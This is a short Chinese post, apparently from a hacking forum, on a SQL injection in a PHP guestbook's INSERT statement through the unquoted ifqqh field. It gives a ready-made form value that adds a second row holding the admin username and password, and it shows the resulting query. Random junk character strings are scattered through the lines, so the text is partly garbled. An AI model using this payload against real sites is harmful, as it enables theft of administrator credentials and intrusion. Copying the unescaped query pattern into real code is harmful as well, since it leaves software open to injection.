留言本注入。拿到帐号密码。前提知道程序源代码。在insert里面。构造了另外一句SQL。并且把帐号密码读出来。9 O- u* F! v% c
u+ L) {4 I& ~3 F' n
$ifqqh=$_POST["ifqqh"];没有过滤。。。。。。。
* L' b I9 l, W$ v% q3 t' B$sql=”insert into “.TABLE_PREFIX.”guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘”.$username.”‘,’”.$email.”‘,’”.$content.”‘,’”.$userip.”‘,’”.$systime.”‘,”.$ifshow.”,”.$ifqqh.”)”;$ifqqh没有用 ‘ 来包含。不受magic_quotes_gpc影响
0 T9 u! ?- D9 {: T9 x. U" t/ l" A5 d( C% l6 ]+ H7 v6 p
提交的时候把ifqqh的值改一下。变成
* B7 Y7 [1 i/ l2 Z' l$ m/ T0 Z4 p9 t! q- s
<input type=”text” id=”ifqqh” name=”ifqqh” value=”1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,1,1,0″ />
( t) a0 K; [( y+ S% z9 l1 H/ z4 u x9 o
这样SQL插入语句就变了.
! w2 |" b$ Q3 d" t/ `# J- w
0 d0 D" y) c! q8 Z0 f- Sinsert into cf_guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘qqq’,”,’msgmsg’,’127.0.0.1′,’2012-12-22 19:07:23′,1,1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,now(),1,0)
7 y9 i" g( }2 M5 S! j0 [/ s6 O$ u6 G+ w
构造了另外一句SQL。并且把帐号密码读出来。4 L) Y% o9 U+ |9 r
# B! O7 }0 \0 s2 P5 O+ o |